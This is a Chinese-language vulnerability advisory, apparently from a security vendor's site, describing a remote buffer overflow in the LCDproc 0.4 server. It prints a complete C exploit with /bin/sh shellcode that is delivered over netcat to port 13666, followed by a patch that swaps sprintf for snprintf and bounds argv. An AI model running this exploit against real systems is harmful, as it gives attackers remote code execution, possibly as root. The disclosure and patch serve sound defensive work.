首页 -> 安全研究

安全研究

安全漏洞
LCDproc 0.4远程溢出漏洞

发布日期:2000-04-24
更新日期:2000-04-24

受影响系统:

任何运行 LCDproc 0.4 或其他易受缓冲区溢出攻击版本(包括0.4-pre系列)的系统。
描述:

LCDproc用于在液晶显示器(或任何它所支持的显示设备)上显示系统信息或其他数据。
LCDproc 0.4版采用了客户机/服务器通信模式,期望在LCDproc设备上显示数据的客
户端可以连接LCDproc服务器并协商会话。这种系统通常用在嵌入式服务环境或者其
他一些需要高效快速显示系统信息但考虑到空间要求及其他限制而不能采用显示器等
设备的场合。此外,既然频繁地与LCD设备通信,通常该工具被安装成
setuid-to-root、setgid-to-uucp。在该系统提供了高度扩展显示数据办法的同时,
通信协议中的某些BUG带来严重的安全问题。该漏洞允许攻击者远程执行任意代码,
并导致 LCDproc 服务端崩溃。代码中多处地方存在不完善的边界条件检查,比如:

/* 注意这里的argv[0]不是main()函数里的那个 */
parse.c:149: sprintf(errmsg, "huh? Invalid command \"%s\"\n", argv[0]);
screenlist.c:119: sprintf(str, "ignore %s\n", old_s->id);
screenlist.c:134: sprintf(str, "listen %s\n", s->id);

参看http://lcdproc.omnipotent.net。

<* 来源:Andrew Hobgood <chaos@strange.net> *>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


/*
* 该段exploit仅仅是在远程执行了一个/bin/sh,继承了LCDproc的标准输入/输出,
* 并没有通过socket传送回客户端。作者不想提供更有意义的socket版本的
* shellcode,如果你有这个能力自己提供,请注明原作者身份。
*/

/*****
* lcdproc-exploit.c
*****
*
* LCDproc 0.4-pre9 exploit
*
* Andrew Hobgood <chaos@strange.net>
* Kha0S on #LinuxOS/EFnet
*
* Tested on Linux/x86 2.2.5-15smp (the only Intel box I could get my hands
* on for testing).
*
*****
*/


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>


#define BUFFERSIZE 269
#define NOP 0x90
#define OFFSET 0xbffff750


char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"
        "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
        "\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff"
        "\xff\xff/bin/sh";


int main(int argc, char **argv) {
        char *ptr, buffer[BUFFERSIZE];
        unsigned long *long_ptr, offset = OFFSET;
        int aux;


        fprintf(stderr, "LCDproc exploit by Andrew Hobgood <chaos@strange.net>\n\n");
        fprintf(stderr, "Usage: (%s [<offset>]; cat) | nc <target> 13666\n\n", argv[0]);


        if (argc == 2) offset += atol(argv[1]);


        ptr = buffer;
        memset(ptr, 0, sizeof(buffer));
        memset(ptr, NOP, sizeof(buffer) - strlen(shellcode) - 16);
        ptr += sizeof(buffer) - strlen(shellcode) - 16;
        memcpy(ptr, shellcode, strlen(shellcode));
        ptr += strlen(shellcode);
        long_ptr = (unsigned long *) ptr;
        for(aux=0; aux<4; aux++) *(long_ptr++) = offset;
        ptr = (char *) long_ptr;
        *ptr = '\0';


        fprintf(stderr, "Buffer size: %d\n", (int) strlen(buffer));
        fprintf(stderr, "Offset: 0x%lx\n\n", offset);


        printf("hello\n");
        fflush(stdout);
        sleep(1);
        printf("screen_add {%s}\n", buffer);
        fflush(stdout);


        return(0);
}


/*** end lcdproc-exploit.c ***/


建议:
临时解决方案

禁止掉LCDproc,或者暂时使用0.3版本的LCDproc。

下面是一个简单的针对 LCDproc 0.4-pre9 的patch。该补丁也可以从
http://web.strange.net/patches/lcdproc.20April2000.patch 得到。

diff -ur ./WHATSNEW ../lcdproc-hacked/WHATSNEW
--- ./WHATSNEW Thu Oct 21 20:04:59 1999
+++ ../lcdproc-hacked/WHATSNEW Thu Apr 20 13:53:54 2000
@@ -11,6 +11,11 @@
  * Better syntax for driver parameters
  * Dynamically-loaded driver system
  
+>> Patched for bugs as follows by Andrew Hobgood <chaos@strange.net>:
+ * Three buffer overflows in various locations [screenlist.c, parse.c, others]
+ * Prevent too many arguments from walking over the boundary of the fixed
+ client_func argv.
+
V0.4-pre9:
  * small fixes for irix
  * Added flag in LCDd to shut off server screen:
diff -ur ./server/client_functions.c ../lcdproc-hacked/server/client_functions.c
--- ./server/client_functions.c Thu Oct 21 18:14:21 1999
+++ ../lcdproc-hacked/server/client_functions.c Thu Apr 20 14:12:42 2000
@@ -68,7 +68,7 @@
     
    for(i=0; i<argc; i++)
    {
- sprintf(str, "test_func_func: %i -> %s\n", i, argv[i]);
+ snprintf(str, 256, "test_func_func: %i -> %s\n", i, argv[i]);
       printf(str);
       sock_send_string(c->sock, str);
    }
@@ -89,7 +89,7 @@
     
    debug("Hello!\n");
  
- sprintf(str,
+ snprintf(str, 256,
            "connect LCDproc %s lcd wid %i hgt %i cellwid %i cellhgt %i\n",
            version, lcd.wid, lcd.hgt, lcd.cellwid, lcd.cellhgt);
    sock_send_string(c->sock, str);
@@ -193,6 +193,9 @@
    }
  
  
+ // truncate argv[1] so that it can't be used later to overflow any
+ // buffers. Andrew Hobgood <chaos@strange.net>
+ argv[1][128] = 0;
    debug("screen_add: Adding screen %s\n", argv[1]);
    err = screen_add(c, argv[1]);
    if(err < 0)
diff -ur ./server/parse.c ../lcdproc-hacked/server/parse.c
--- ./server/parse.c Sat Feb 20 20:53:23 1999
+++ ../lcdproc-hacked/server/parse.c Thu Apr 20 14:06:52 2000
@@ -93,12 +93,21 @@
                if(newtoken && str[i])
                {
                   newtoken=0;
- argv[argc] = str + i;
- argc++;
- }
- else
- {
- }
+ // make sure that we're not going to go over the fixed
+ // number of allowed arguments in argv
+ // Andrew Hobgood <chaos@strange.net>
+ if(argc < 255)
+ {
+ argv[argc] = str + i;
+ argc++;
+ } else
+ {
+ debug("Too many arguments, ignoring past 256.\n");
+ }
+ }
+ else
+ {
+ }
             }
             if(inquote)
             {
@@ -135,7 +144,9 @@
             if(invalid)
             {
                // FIXME: Check for buffer overflows here...
- sprintf(errmsg, "huh? Invalid command \"%s\"\n", argv[0]);
+ // You were right -- there was one here. =) More or less
+ // fixed: Andrew Hobgood <chaos@strange.net>
+ snprintf(errmsg, 256, "huh? Invalid command \"%s\"\n", argv[0]);
                sock_send_string(c->sock, errmsg);
             }
  
diff -ur ./server/screenlist.c ../lcdproc-hacked/server/screenlist.c
--- ./server/screenlist.c Fri Mar 12 00:20:39 1999
+++ ../lcdproc-hacked/server/screenlist.c Thu Apr 20 14:09:03 2000
@@ -116,7 +116,7 @@
             c = old_s->parent;
             if(c) // Tell the client we're not listening any more...
             {
- sprintf(str, "ignore %s\n", old_s->id);
+ snprintf(str, 256, "ignore %s\n", old_s->id);
                sock_send_string(c->sock, str);
             }
             else // The server has the display, so do nothing
@@ -131,7 +131,7 @@
          c = s->parent;
          if(c) // Tell the client we're paying attention...
          {
- sprintf(str, "listen %s\n", s->id);
+ snprintf(str, 256, "listen %s\n", s->id);
             sock_send_string(c->sock, str);
          }
          else // The server has the display, so do nothing


浏览次数:6426
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障